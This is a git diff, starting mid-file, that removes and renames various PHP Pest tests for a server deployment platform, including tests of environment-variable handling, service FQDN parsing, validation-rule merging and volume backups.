Application::class, - 'resourceable_id' => $this->application->id, - ]); - - // Update the auto-created preview copy with a different value - $this->application->environment_variables_preview() - ->where('key', 'DB_PASSWORD') - ->update(['value' => encrypt('preview_password')]); - - $this->application->refresh(); - $envs = simulatePreviewEnvGeneration($this->application); - - // Should contain preview value only, not production - $envEntries = $envs->filter(fn ($e) => str_starts_with($e, 'DB_PASSWORD=')); - expect($envEntries)->toHaveCount(1); - expect($envEntries->first())->toContain('preview_password'); -}); - -test('preview-only var works without production counterpart', function () { - // Create a preview-only var directly (no production counterpart) - EnvironmentVariable::create([ - 'key' => 'PREVIEW_ONLY_VAR', - 'value' => 'preview_value', - 'is_preview' => true, - 'is_runtime' => true, - 'is_buildtime' => false, - 'resourceable_type' => Application::class, - 'resourceable_id' => $this->application->id, - ]); - - $this->application->refresh(); - $envs = simulatePreviewEnvGeneration($this->application); - - $envString = $envs->implode("\n"); - expect($envString)->toContain('PREVIEW_ONLY_VAR='); -}); - -test('buildtime-only production vars are not included in preview fallback', function () { - // Create a runtime preview var so fallback is active - EnvironmentVariable::create([ - 'key' => 'SOME_PREVIEW_VAR', - 'value' => 'preview_value', - 'is_preview' => true, - 'is_runtime' => true, - 'is_buildtime' => false, - 'resourceable_type' => Application::class, - 'resourceable_id' => $this->application->id, - ]); - - // Create a buildtime-only production var - EnvironmentVariable::create([ - 'key' => 'BUILD_SECRET', - 'value' => 'build_only', - 'is_preview' => false, - 'is_runtime' => false, - 'is_buildtime' => true, - 'resourceable_type' => Application::class, - 'resourceable_id' => $this->application->id, - ]); - - // Delete the auto-created preview copy of BUILD_SECRET - $this->application->environment_variables_preview()->where('key', 'BUILD_SECRET')->delete(); - $this->application->refresh(); - - $envs = simulatePreviewEnvGeneration($this->application); - - $envString = $envs->implode("\n"); - expect($envString)->not->toContain('BUILD_SECRET'); - expect($envString)->toContain('SOME_PREVIEW_VAR='); -}); - test('preview env var inherits is_runtime and is_buildtime from production var', function () { // Create production var WITH explicit flags EnvironmentVariable::create([ diff --git a/tests/Feature/ProxyAcmeCertificateUiTest.php b/tests/Feature/ProxyAcmeCertificateUiTest.php index 6c1a90b9ad..d562511ceb 100644 --- a/tests/Feature/ProxyAcmeCertificateUiTest.php +++ b/tests/Feature/ProxyAcmeCertificateUiTest.php @@ -5,9 +5,6 @@ it('gates Traefik ACME certificate deletion behind update authorization', functi $component = file_get_contents(app_path('Livewire/Server/Proxy.php')); expect($view) - ->toContain('TLS certificates') - ->toContain('Traefik requests a new certificate after the restart') - ->toContain('wire:click="loadTraefikCertificates"') ->toContain('submitAction="deleteTraefikCertificate') ->toContain("@can('update', \$server)") ->and($component) diff --git a/tests/Feature/Security/AuditLogTest.php b/tests/Feature/Security/AuditLogTest.php index 247cd1125c..fae6cae832 100644 --- a/tests/Feature/Security/AuditLogTest.php +++ b/tests/Feature/Security/AuditLogTest.php @@ -215,11 +215,6 @@ describe('security UI audit logging', function () { Livewire::test(CloudInitScripts::class) ->call('deleteScript', $script->id); }); - - test('cloud provider token form does not contain debug ray calls', function () { - expect(file_get_contents(app_path('Livewire/Security/CloudProviderTokenForm.php'))) - ->not->toContain('ray'.'('); - }); }); describe('webhook signature failure logging', function () { diff --git a/tests/Feature/Security/CommandInjectionSecurityTest.php b/tests/Feature/Security/CommandInjectionSecurityTest.php index 522638464b..60f5ae8c91 100644 --- a/tests/Feature/Security/CommandInjectionSecurityTest.php +++ b/tests/Feature/Security/CommandInjectionSecurityTest.php @@ -382,25 +382,6 @@ describe('deployment git command escaping', function () { }); }); -describe('sharedDataApplications rules survive array_merge in controller', function () { - test('docker_compose_location safe regex is not overridden by local rules', function () { - $sharedRules = sharedDataApplications(); - - // Simulate what ApplicationsController does: array_merge(shared, local) - // After our fix, local no longer contains docker_compose_location, - // so the shared regex rule must survive - $localRules = [ - 'name' => 'string|max:255', - 'docker_compose_domains' => 'array|nullable', - ]; - $merged = array_merge($sharedRules, $localRules); - - // The merged rules for docker_compose_location should be the safe regex, not just 'string' - expect($merged['docker_compose_location'])->toBeArray(); - expect($merged['docker_compose_location'])->toContain('regex:'.ValidationPatterns::FILE_PATH_PATTERN); - }); -}); - describe('path fields require leading slash', function () { test('dockerfile_location without leading slash is rejected by API rules', function () { $rules = sharedDataApplications(); @@ -877,54 +858,6 @@ describe('container name validation', function () { }); }); -describe('dockerfile_target_build rules survive array_merge in controller', function () { - test('dockerfile_target_build safe regex is not overridden by local rules', function () { - $sharedRules = sharedDataApplications(); - - // Simulate what ApplicationsController does: array_merge(shared, local) - $localRules = [ - 'name' => 'string|max:255', - 'docker_compose_domains' => 'array|nullable', - ]; - $merged = array_merge($sharedRules, $localRules); - - expect($merged)->toHaveKey('dockerfile_target_build'); - expect($merged['dockerfile_target_build'])->toBeArray(); - expect($merged['dockerfile_target_build'])->toContain('regex:'.ValidationPatterns::DOCKER_TARGET_PATTERN); - }); -}); - -describe('docker_compose_custom_command rules survive array_merge in controller', function () { - test('docker_compose_custom_start_command safe regex is not overridden by local rules', function () { - $sharedRules = sharedDataApplications(); - - // Simulate what ApplicationsController does: array_merge(shared, local) - // After our fix, local no longer contains docker_compose_custom_start_command, - // so the shared regex rule must survive - $localRules = [ - 'name' => 'string|max:255', - 'docker_compose_domains' => 'array|nullable', - ]; - $merged = array_merge($sharedRules, $localRules); - - expect($merged['docker_compose_custom_start_command'])->toBeArray(); - expect($merged['docker_compose_custom_start_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN); - }); - - test('docker_compose_custom_build_command safe regex is not overridden by local rules', function () { - $sharedRules = sharedDataApplications(); - - $localRules = [ - 'name' => 'string|max:255', - 'docker_compose_domains' => 'array|nullable', - ]; - $merged = array_merge($sharedRules, $localRules); - - expect($merged['docker_compose_custom_build_command'])->toBeArray(); - expect($merged['docker_compose_custom_build_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN); - }); -}); - describe('API route middleware for deploy actions', function () { test('application start route requires deploy ability', function () { $routes = app('router')->getRoutes(); @@ -1034,14 +967,6 @@ describe('service application lifecycle command escaping', function () { ->and($source)->toContain('docker logs -n 100 {$escapedContainerName}') ->and($source)->toContain('dockerStopCommand($timeout, escapeshellarg($containerName), $this->server)'); }); - - test('service application logs endpoint passes raw container name to docker helpers', function () { - $source = file_get_contents(app_path('Http/Controllers/Api/ServiceApplicationsController.php')); - - expect($source)->toContain('getContainerStatus($server, $containerName)') - ->and($source)->toContain('getContainerLogs($server, $containerName, $lines)') - ->and($source)->not->toContain('$safeContainerName = escapeshellarg($containerName)'); - }); }); describe('install/build/start command validation', function () { @@ -1185,47 +1110,6 @@ describe('install/build/start command validation', function () { })->with(['install_command', 'build_command', 'start_command']); }); -describe('install/build/start command rules survive array_merge in controller', function () { - test('install_command safe regex is not overridden by local rules', function () { - $sharedRules = sharedDataApplications(); - - $localRules = [ - 'name' => 'string|max:255', - 'docker_compose_domains' => 'array|nullable', - ]; - $merged = array_merge($sharedRules, $localRules); - - expect($merged['install_command'])->toBeArray(); - expect($merged['install_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN); - }); - - test('build_command safe regex is not overridden by local rules', function () { - $sharedRules = sharedDataApplications(); - - $localRules = [ - 'name' => 'string|max:255', - 'docker_compose_domains' => 'array|nullable', - ]; - $merged = array_merge($sharedRules, $localRules); - - expect($merged['build_command'])->toBeArray(); - expect($merged['build_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN); - }); - - test('start_command safe regex is not overridden by local rules', function () { - $sharedRules = sharedDataApplications(); - - $localRules = [ - 'name' => 'string|max:255', - 'docker_compose_domains' => 'array|nullable', - ]; - $merged = array_merge($sharedRules, $localRules); - - expect($merged['start_command'])->toBeArray(); - expect($merged['start_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN); - }); -}); - describe('git_branch validation rules survive array_merge in controller', function () { test('git_branch uses ValidGitBranch in shared application rules', function () { $rules = sharedDataApplications(); diff --git a/tests/Feature/Security/IntegrationTokenFormTest.php b/tests/Feature/Security/IntegrationTokenFormTest.php index 2de38b7db2..6853a33623 100644 --- a/tests/Feature/Security/IntegrationTokenFormTest.php +++ b/tests/Feature/Security/IntegrationTokenFormTest.php @@ -153,14 +153,6 @@ test('at least one capability is required when adding a cloudflare token', funct Http::assertNothingSent(); }); -test('provider validation uses the provider names declared by the model', function () { - $component = file_get_contents(app_path('Livewire/Security/IntegrationTokenForm.php')); - - expect($component) - ->toContain("implode(',', array_keys(IntegrationToken::PROVIDER_NAMES))") - ->not->toContain('in:cloudflare,doppler,infisical,vault'); -}); - test('integration tokens page lists saved provider and capabilities', function () { IntegrationToken::query()->create([ 'team_id' => $this->team->id, @@ -308,15 +300,6 @@ test('an invalid replacement does not rotate the integration token', function () expect($savedToken->fresh()->token)->toBe('original-token'); }); -test('editor updates its row without rerendering the teleported parent modal', function () { - $component = file_get_contents(app_path('Livewire/Security/IntegrationTokenEditor.php')); - - expect($component) - ->toContain("'integration-token-updated'") - ->toContain("'integration-token-deleted'") - ->not->toContain('integrationTokenChanged'); -}); - test('new integration token form controls declare authorization matching server-side actions', function () { $editor = file_get_contents(resource_path('views/livewire/security/integration-token-editor.blade.php')); $form = file_get_contents(resource_path('views/livewire/security/integration-token-form.blade.php')); diff --git a/tests/Feature/SentinelPushDeduplicationTest.php b/tests/Feature/SentinelPushDeduplicationTest.php index 85f65bf622..05cc47b975 100644 --- a/tests/Feature/SentinelPushDeduplicationTest.php +++ b/tests/Feature/SentinelPushDeduplicationTest.php @@ -156,16 +156,6 @@ it('rejects malformed sentinel payloads before touching server state', function 'non-array containers' => [['containers' => 'not-an-array']], ]); -it('guards the dedupe decision with a server scoped atomic cache lock', function () { - $controller = file_get_contents(app_path('Http/Controllers/Api/SentinelController.php')); - - expect($controller) - ->toContain('$lockKey = "sentinel:push-lock:{$server->id}";') - ->toContain('Cache::lock($lockKey, 10)->block(5, function () use ($hashKey, $forceKey, $hash): bool') - ->toContain('Cache::put($hashKey, $hash, now()->addDay())') - ->toContain("Cache::put(\$forceKey, true, config('constants.sentinel.push_force_interval_seconds', 300))"); -}); - it('dispatches the job when container state changes', function () use ($running) { pushSentinel($this->token, sentinelPayload($running()))->assertOk(); diff --git a/tests/Feature/ServerBuildRoleHelperTest.php b/tests/Feature/ServerBuildRoleHelperTest.php deleted file mode 100644 index ace65f8b7e..0000000000 --- a/tests/Feature/ServerBuildRoleHelperTest.php +++ /dev/null @@ -1,10 +0,0 @@ -toContain('->nullable()->default(ServerRole::BOTH->value)') - ->toContain("->where('is_build_server', true)") - ->toContain("->update(['server_role' => ServerRole::BUILD->value])"); -}); diff --git a/tests/Feature/Service/ServiceFqdnUpdatePathTest.php b/tests/Feature/Service/ServiceFqdnUpdatePathTest.php deleted file mode 100644 index 4c0c4238ff..0000000000 --- a/tests/Feature/Service/ServiceFqdnUpdatePathTest.php +++ /dev/null @@ -1,220 +0,0 @@ -create([ - 'name' => 'test-server', - 'ip' => '127.0.0.1', - ]); - - // Load Appwrite template - $appwriteTemplate = file_get_contents(base_path('templates/compose/appwrite.yaml')); - - // Create Appwrite service - $service = Service::factory()->create([ - 'server_id' => $server->id, - 'name' => 'appwrite-test', - 'docker_compose_raw' => $appwriteTemplate, - ]); - - // Create the appwrite-realtime service application - $serviceApp = ServiceApplication::factory()->create([ - 'service_id' => $service->id, - 'name' => 'appwrite-realtime', - 'fqdn' => 'https://test.abc/v1/realtime', - ]); - - // Parse the service (simulates initial setup) - $service->parse(); - - // Get environment variable - $urlVar = $service->environment_variables() - ->where('key', 'SERVICE_URL_APPWRITE') - ->first(); - - // Initial setup should have path once - expect($urlVar)->not->toBeNull() - ->and($urlVar->value)->not->toContain('/v1/realtime/v1/realtime') - ->and($urlVar->value)->toContain('/v1/realtime'); - - // Simulate user updating FQDN - $serviceApp->fqdn = 'https://newdomain.com/v1/realtime'; - $serviceApp->save(); - - // Call parse again (this is where the bug occurred) - $service->parse(); - - // Check that path is not duplicated - $urlVar = $service->environment_variables() - ->where('key', 'SERVICE_URL_APPWRITE') - ->first(); - - expect($urlVar)->not->toBeNull() - ->and($urlVar->value)->not->toContain('/v1/realtime/v1/realtime') - ->and($urlVar->value)->toContain('/v1/realtime'); -})->skip('Requires database and Appwrite template - run in Docker'); - -test('Appwrite console service does not duplicate /console path', function () { - $server = Server::factory()->create(); - $appwriteTemplate = file_get_contents(base_path('templates/compose/appwrite.yaml')); - $service = Service::factory()->create([ - 'server_id' => $server->id, - 'docker_compose_raw' => $appwriteTemplate, - ]); - - $serviceApp = ServiceApplication::factory()->create([ - 'service_id' => $service->id, - 'name' => 'appwrite-console', - 'fqdn' => 'https://test.abc/console', - ]); - - // Parse service - $service->parse(); - - // Update FQDN - $serviceApp->fqdn = 'https://newdomain.com/console'; - $serviceApp->save(); - - // Parse again - $service->parse(); - - // Verify no duplication - $urlVar = $service->environment_variables() - ->where('key', 'SERVICE_URL_APPWRITE') - ->first(); - - expect($urlVar)->not->toBeNull() - ->and($urlVar->value)->not->toContain('/console/console') - ->and($urlVar->value)->toContain('/console'); -})->skip('Requires database and Appwrite template - run in Docker'); - -test('MindsDB service does not duplicate /api path', function () { - $server = Server::factory()->create(); - $mindsdbTemplate = file_get_contents(base_path('templates/compose/mindsdb.yaml')); - $service = Service::factory()->create([ - 'server_id' => $server->id, - 'docker_compose_raw' => $mindsdbTemplate, - ]); - - $serviceApp = ServiceApplication::factory()->create([ - 'service_id' => $service->id, - 'name' => 'mindsdb', - 'fqdn' => 'https://test.abc/api', - ]); - - // Parse service - $service->parse(); - - // Update FQDN multiple times - $serviceApp->fqdn = 'https://domain1.com/api'; - $serviceApp->save(); - $service->parse(); - - $serviceApp->fqdn = 'https://domain2.com/api'; - $serviceApp->save(); - $service->parse(); - - // Verify no duplication after multiple updates - $urlVar = $service->environment_variables() - ->where('key', 'SERVICE_URL_API') - ->orWhere('key', 'LIKE', 'SERVICE_URL_%') - ->first(); - - expect($urlVar)->not->toBeNull() - ->and($urlVar->value)->not->toContain('/api/api'); -})->skip('Requires database and MindsDB template - run in Docker'); - -test('service without path declaration is not affected', function () { - $server = Server::factory()->create(); - - // Create a simple service without path in template - $simpleTemplate = <<<'YAML' -services: - redis: - image: redis:7 - environment: - - SERVICE_FQDN_REDIS -YAML; - - $service = Service::factory()->create([ - 'server_id' => $server->id, - 'docker_compose_raw' => $simpleTemplate, - ]); - - $serviceApp = ServiceApplication::factory()->create([ - 'service_id' => $service->id, - 'name' => 'redis', - 'fqdn' => 'https://redis.test.abc', - ]); - - // Parse service - $service->parse(); - - $fqdnBefore = $service->environment_variables() - ->where('key', 'SERVICE_FQDN_REDIS') - ->first()?->value; - - // Update FQDN - $serviceApp->fqdn = 'https://redis.newdomain.com'; - $serviceApp->save(); - - // Parse again - $service->parse(); - - $fqdnAfter = $service->environment_variables() - ->where('key', 'SERVICE_FQDN_REDIS') - ->first()?->value; - - // Should work normally without issues - expect($fqdnAfter)->toBe('redis.newdomain.com') - ->and($fqdnAfter)->not->toContain('//'); -})->skip('Requires database - run in Docker'); - -test('multiple FQDN updates never cause path duplication', function () { - $server = Server::factory()->create(); - $appwriteTemplate = file_get_contents(base_path('templates/compose/appwrite.yaml')); - $service = Service::factory()->create([ - 'server_id' => $server->id, - 'docker_compose_raw' => $appwriteTemplate, - ]); - - $serviceApp = ServiceApplication::factory()->create([ - 'service_id' => $service->id, - 'name' => 'appwrite-realtime', - 'fqdn' => 'https://test.abc/v1/realtime', - ]); - - // Update FQDN 10 times and parse each time - for ($i = 1; $i <= 10; $i++) { - $serviceApp->fqdn = "https://domain{$i}.com/v1/realtime"; - $serviceApp->save(); - $service->parse(); - - // Check path is never duplicated - $urlVar = $service->environment_variables() - ->where('key', 'SERVICE_URL_APPWRITE') - ->first(); - - expect($urlVar)->not->toBeNull() - ->and($urlVar->value)->not->toContain('/v1/realtime/v1/realtime') - ->and($urlVar->value)->toContain('/v1/realtime'); - } -})->skip('Requires database and Appwrite template - run in Docker'); diff --git a/tests/Feature/ServiceDatabaseVerticalNavigationTest.php b/tests/Feature/ServiceDatabaseVerticalNavigationTest.php index 17c1edd375..00bf6a49ac 100644 --- a/tests/Feature/ServiceDatabaseVerticalNavigationTest.php +++ b/tests/Feature/ServiceDatabaseVerticalNavigationTest.php @@ -1,14 +1,5 @@ getReturnType(); - - expect($returnType)->not->toBeNull() - ->and($returnType->getName())->toBe('mixed'); -}); - it('refreshes backup executions from backup broadcasts on the current team channel', function () { $serviceExecutions = file_get_contents(app_path('Livewire/Project/Service/BackupExecutions.php')); $serviceBackups = file_get_contents(app_path('Livewire/Project/Service/VolumeBackup/Index.php')); diff --git a/tests/Feature/ServiceMagicVariableOverwriteTest.php b/tests/Feature/ServiceMagicVariableOverwriteTest.php deleted file mode 100644 index c592b047e6..0000000000 --- a/tests/Feature/ServiceMagicVariableOverwriteTest.php +++ /dev/null @@ -1,171 +0,0 @@ -create([ - 'name' => 'test-server', - 'ip' => '127.0.0.1', - ]); - - // Compose template where: - // - nginx directly declares SERVICE_FQDN_NGINX_8080 (Section 1) - // - backend references ${SERVICE_URL_NGINX} and ${SERVICE_FQDN_NGINX} (Section 2 - magic) - $template = <<<'YAML' -services: - nginx: - image: nginx:latest - environment: - - SERVICE_FQDN_NGINX_8080 - ports: - - "8080:80" - backend: - image: node:20-alpine - environment: - - PUBLIC_URL=${SERVICE_URL_NGINX} - - PUBLIC_FQDN=${SERVICE_FQDN_NGINX} -YAML; - - $service = Service::factory()->create([ - 'server_id' => $server->id, - 'name' => 'test-service', - 'docker_compose_raw' => $template, - ]); - - $serviceApp = ServiceApplication::factory()->create([ - 'service_id' => $service->id, - 'name' => 'nginx', - 'fqdn' => null, - ]); - - // Initial parse - generates auto FQDNs - $service->parse(); - - $baseUrl = $service->environment_variables()->where('key', 'SERVICE_URL_NGINX')->first(); - $baseFqdn = $service->environment_variables()->where('key', 'SERVICE_FQDN_NGINX')->first(); - $portUrl = $service->environment_variables()->where('key', 'SERVICE_URL_NGINX_8080')->first(); - $portFqdn = $service->environment_variables()->where('key', 'SERVICE_FQDN_NGINX_8080')->first(); - - // All four variables should exist after initial parse - expect($baseUrl)->not->toBeNull('SERVICE_URL_NGINX should exist'); - expect($baseFqdn)->not->toBeNull('SERVICE_FQDN_NGINX should exist'); - expect($portUrl)->not->toBeNull('SERVICE_URL_NGINX_8080 should exist'); - expect($portFqdn)->not->toBeNull('SERVICE_FQDN_NGINX_8080 should exist'); - - // Now simulate user changing domain via UI (EditDomain::submit flow) - $serviceApp->fqdn = 'https://my-nginx.example.com:8080'; - $serviceApp->save(); - - // updateCompose() runs first (sets correct values) - updateCompose($serviceApp); - - // Then parse() runs (should NOT overwrite the correct values) - $service->parse(); - - // Reload all variables - $baseUrl = $service->environment_variables()->where('key', 'SERVICE_URL_NGINX')->first(); - $baseFqdn = $service->environment_variables()->where('key', 'SERVICE_FQDN_NGINX')->first(); - $portUrl = $service->environment_variables()->where('key', 'SERVICE_URL_NGINX_8080')->first(); - $portFqdn = $service->environment_variables()->where('key', 'SERVICE_FQDN_NGINX_8080')->first(); - - // ALL variables should reflect the custom domain - expect($baseUrl->value)->toBe('https://my-nginx.example.com') - ->and($baseFqdn->value)->toBe('my-nginx.example.com') - ->and($portUrl->value)->toBe('https://my-nginx.example.com:8080') - ->and($portFqdn->value)->toBe('my-nginx.example.com:8080'); -})->skip('Requires database - run in Docker'); - -test('magic variable references do not overwrite direct template declarations on initial parse', function () { - $server = Server::factory()->create([ - 'name' => 'test-server', - 'ip' => '127.0.0.1', - ]); - - // Backend references the port-specific variable via magic syntax - $template = <<<'YAML' -services: - app: - image: nginx:latest - environment: - - SERVICE_FQDN_APP_3000 - ports: - - "3000:3000" - worker: - image: node:20-alpine - environment: - - API_URL=${SERVICE_URL_APP_3000} -YAML; - - $service = Service::factory()->create([ - 'server_id' => $server->id, - 'name' => 'test-service', - 'docker_compose_raw' => $template, - ]); - - ServiceApplication::factory()->create([ - 'service_id' => $service->id, - 'name' => 'app', - 'fqdn' => null, - ]); - - // Parse the service - $service->parse(); - - $portUrl = $service->environment_variables()->where('key', 'SERVICE_URL_APP_3000')->first(); - $portFqdn = $service->environment_variables()->where('key', 'SERVICE_FQDN_APP_3000')->first(); - - // Port-specific vars should have port as a URL port suffix (:3000), - // NOT baked into the subdomain (app-3000-uuid.sslip.io) - expect($portUrl)->not->toBeNull(); - expect($portFqdn)->not->toBeNull(); - expect($portUrl->value)->toContain(':3000'); - // The domain should NOT have 3000 in the subdomain - $urlWithoutPort = str($portUrl->value)->before(':3000')->value(); - expect($urlWithoutPort)->not->toContain('3000'); -})->skip('Requires database - run in Docker'); - -test('parsers.php uses firstOrCreate for magic variable references', function () { - $parsersFile = file_get_contents(base_path('bootstrap/helpers/parsers.php')); - - // Find the magic variables section (Section 2) which processes ${SERVICE_*} references - // It should use firstOrCreate, not updateOrCreate, to avoid overwriting values - // set by direct template declarations (Section 1) or updateCompose() - - // Look for the specific pattern: the magic variables section creates FQDN and URL pairs - // after the "Also create the paired SERVICE_URL_*" and "Also create the paired SERVICE_FQDN_*" comments - - // Extract the magic variables section (between "$magicEnvironments->count()" and the end of the foreach) - $magicSectionStart = strpos($parsersFile, '$magicEnvironments->count() > 0'); - expect($magicSectionStart)->not->toBeFalse('Magic variables section should exist'); - - $magicSection = substr($parsersFile, $magicSectionStart, 5000); - - // Count updateOrCreate vs firstOrCreate in the magic section - $updateOrCreateCount = substr_count($magicSection, 'updateOrCreate'); - $firstOrCreateCount = substr_count($magicSection, 'firstOrCreate'); - - // Magic section should use firstOrCreate for SERVICE_URL/FQDN variables - expect($firstOrCreateCount)->toBeGreaterThanOrEqual(4, 'Magic variables section should use firstOrCreate for SERVICE_URL/FQDN pairs') - ->and($updateOrCreateCount)->toBe(0, 'Magic variables section should not use updateOrCreate for SERVICE_URL/FQDN variables'); -}); diff --git a/tests/Feature/StableNestedLivewireKeysTest.php b/tests/Feature/StableNestedLivewireKeysTest.php index a90afd6bef..96ad9a8959 100644 --- a/tests/Feature/StableNestedLivewireKeysTest.php +++ b/tests/Feature/StableNestedLivewireKeysTest.php @@ -13,19 +13,6 @@ it('does not key nested Livewire components by mutable list positions', function ->not->toContain('wire:key="{{ $fileName }}-{{ $loop->index }}"'); }); -it('saves reindexed PostgreSQL scripts by their original stable identity', function () { - $editor = file_get_contents(app_path('Livewire/Project/Database/InitScript.php')); - $parent = file_get_contents(app_path('Livewire/Project/Database/Postgresql/General.php')); - - expect($editor) - ->toContain('public string $originalFilename;') - ->toContain("dispatch('save_init_script', \$this->script, \$this->originalFilename)"); - - expect($parent) - ->toContain('public function save_init_script($script, string $originalFilename)') - ->toContain("firstWhere('filename', \$originalFilename)"); -}); - it('keeps editable and refreshed list row keys independent of their positions', function () { $applicationDomains = file_get_contents(resource_path('views/livewire/project/application/partials/domain-row.blade.php')); $serviceDomains = file_get_contents(resource_path('views/livewire/project/service/partials/domain-table.blade.php')); diff --git a/tests/Feature/StaleStartActivityTest.php b/tests/Feature/StaleStartActivityTest.php index da664f781d..93ddcc8010 100644 --- a/tests/Feature/StaleStartActivityTest.php +++ b/tests/Feature/StaleStartActivityTest.php @@ -165,12 +165,6 @@ it('marks interrupted database and service start activities as failed on startup ->and(data_get($unrelatedRunningProcess->refresh(), 'properties.status'))->toBe(ProcessStatus::IN_PROGRESS->value); }); -it('runs the interrupted start cleanup from app:init', function () { - $source = file_get_contents(app_path('Console/Commands/Init.php')); - - expect($source)->toContain('ResourceStartActivity::failInterrupted()'); -}); - it('marks interrupted database imports as failed on startup and leaves other operations alone', function () { $queuedImport = startActivity($this->database->uuid, ProcessStatus::QUEUED, 'database_import'); $runningImport = startActivity((string) Str::uuid(), ProcessStatus::IN_PROGRESS, 'database_import'); diff --git a/tests/Feature/StandaloneSqliteTest.php b/tests/Feature/StandaloneSqliteTest.php index c441a7067b..d813ed175d 100644 --- a/tests/Feature/StandaloneSqliteTest.php +++ b/tests/Feature/StandaloneSqliteTest.php @@ -77,13 +77,6 @@ it('generates a compose file that passes the database files to the image', funct ->and($service['volumes'])->toBe(['sqlite-data-'.$this->database->uuid.':/var/lib/sqlite']); }); -it('backs up with a read-only VACUUM INTO snapshot instead of a SQL dump', function () { - expect(file_get_contents(app_path('Jobs/DatabaseBackupJob.php'))) - ->toContain('sqlite3 -readonly') - ->toContain('VACUUM INTO') - ->not->toContain('.dump'); -}); - it('restores a gzipped backup with .restore into the first database file', function () { $command = app(DatabaseImportCommandBuilder::class)->buildRestoreCommand($this->database, '/tmp/restore_1', false); diff --git a/tests/Feature/TrafficAnalytics/ResourceTrafficKeysTest.php b/tests/Feature/TrafficAnalytics/ResourceTrafficKeysTest.php index 7299f5c923..a2d904796b 100644 --- a/tests/Feature/TrafficAnalytics/ResourceTrafficKeysTest.php +++ b/tests/Feature/TrafficAnalytics/ResourceTrafficKeysTest.php @@ -96,7 +96,7 @@ beforeEach(function () { $this->environment = Environment::factory()->create(['project_id' => $this->project->id]); }); -function makeComposeApplication(): Application +function makeTrafficComposeApplication(): Application { return Application::factory()->create([ 'name' => 'Compose Shop', @@ -260,7 +260,7 @@ it('merges overviews, paths, breakdowns, and series of several keys', function ( }); it('shows a compose application with the data of all its compose service keys', function () { - $application = makeComposeApplication(); + $application = makeTrafficComposeApplication(); $apiKey = $application->uuid.'-'.traefikSafeServiceNameSegment('api'); $webKey = $application->uuid.'-'.traefikSafeServiceNameSegment('web'); @@ -287,7 +287,7 @@ it('shows a compose application with the data of all its compose service keys', }); it('sums every compose key in the application traffic card', function () { - $application = makeComposeApplication(); + $application = makeTrafficComposeApplication(); $apiKey = $application->uuid.'-'.traefikSafeServiceNameSegment('api'); $webKey = $application->uuid.'-'.traefikSafeServiceNameSegment('web'); @@ -303,7 +303,7 @@ it('sums every compose key in the application traffic card', function () { }); it('groups compose keys of one application into one leaderboard row', function () { - $application = makeComposeApplication(); + $application = makeTrafficComposeApplication(); $apiKey = $application->uuid.'-'.traefikSafeServiceNameSegment('api'); $webKey = $application->uuid.'-'.traefikSafeServiceNameSegment('web'); diff --git a/tests/Feature/V5CleanupTest.php b/tests/Feature/V5CleanupTest.php index a612d3741d..caa416a501 100644 --- a/tests/Feature/V5CleanupTest.php +++ b/tests/Feature/V5CleanupTest.php @@ -15,23 +15,3 @@ it('keeps v5 prototypes outside executable application paths', function () { ->and(file_exists(base_path('routes/v5.php')))->toBeFalse() ->and(file_exists(config_path('v5.php')))->toBeFalse(); }); - -it('archives the previous v5 migrations and ui as documentation', function () { - expect(glob(base_path('docs/v5/migrations/*.php.txt')))->toHaveCount(15) - ->and(glob(base_path('docs/v5/ui/resources/js/v5/**/*.txt')))->not->toBeEmpty() - ->and(file_exists(base_path('docs/v5/ui/resources/views/v5/app.blade.php.txt')))->toBeTrue() - ->and(file_exists(base_path('docs/v5/archive/app/Support/V5/V5Feature.php.txt')))->toBeTrue() - ->and(file_exists(base_path('docs/v5/archive/routes/v5.php.txt')))->toBeTrue() - ->and(file_exists(base_path('docs/v5/archive/tests/v5/Browser/DashboardSmokeTest.php.txt')))->toBeTrue(); -}); - -it('documents removed v5 packages and the v4 animation dependency', function () { - $packageDocumentation = file_get_contents(base_path('docs/v5/package.md')); - - expect($packageDocumentation) - ->toContain('`inertiajs/inertia-laravel`') - ->toContain('`react`') - ->toContain('`@vitejs/plugin-react`') - ->toContain('`tw-animate-css`') - ->toContain('must not be removed'); -}); diff --git a/tests/Feature/VolumeBackupTest.php b/tests/Feature/VolumeBackupTest.php index 83cae30688..623e140dfb 100644 --- a/tests/Feature/VolumeBackupTest.php +++ b/tests/Feature/VolumeBackupTest.php @@ -55,15 +55,6 @@ it('types service backup S3 storage state as a nullable Eloquent collection', fu ->and($property->getDefaultValue())->toBeNull(); }); -it('provides the volume backup domain classes and relationship', function () { - expect(class_exists(ScheduledVolumeBackup::class))->toBeTrue() - ->and(class_exists(ScheduledVolumeBackupExecution::class))->toBeTrue() - ->and(class_exists(VolumeBackupJob::class))->toBeTrue() - ->and(class_exists(VolumeBackups::class))->toBeTrue() - ->and(method_exists(LocalPersistentVolume::class, 'scheduledBackups'))->toBeTrue() - ->and(method_exists(LocalFileVolume::class, 'scheduledBackups'))->toBeTrue(); -}); - it('allows large volume backups to run for ten hours by default', function () { $backup = new ScheduledVolumeBackup; $job = new VolumeBackupJob($backup); @@ -672,16 +663,6 @@ it('records the S3 storage used by each volume backup execution', function () { ->and((new ScheduledVolumeBackupExecution)->s3())->not->toBeNull(); }); -it('exposes actions to manage and run volume backups', function () { - expect(method_exists(VolumeBackups::class, 'save'))->toBeTrue() - ->and(method_exists(VolumeBackups::class, 'backupNow'))->toBeTrue() - ->and(method_exists(VolumeBackups::class, 'toggleEnabled'))->toBeTrue() - ->and(method_exists(VolumeBackups::class, 'delete'))->toBeTrue() - ->and(method_exists(VolumeBackups::class, 'cleanupFailed'))->toBeTrue() - ->and(method_exists(VolumeBackups::class, 'cleanupDeleted'))->toBeTrue() - ->and(method_exists(VolumeBackups::class, 'deleteBackup'))->toBeTrue(); -}); - it('declares the volume backup action return types', function () { $backupNowReturnType = (new ReflectionMethod(VolumeBackups::class, 'backupNow'))->getReturnType(); $deleteReturnType = (new ReflectionMethod(VolumeBackups::class, 'delete'))->getReturnType(); diff --git a/tests/Pest.php b/tests/Pest.php index 9ec1040ec7..9707fad3ba 100644 --- a/tests/Pest.php +++ b/tests/Pest.php @@ -15,7 +15,7 @@ use Tests\TestCase; | need to change it using the "uses()" function to bind a different classes or traits. | */ -uses(TestCase::class)->in('Feature', 'v4/Feature', 'v4/Browser', 'v5/Browser'); 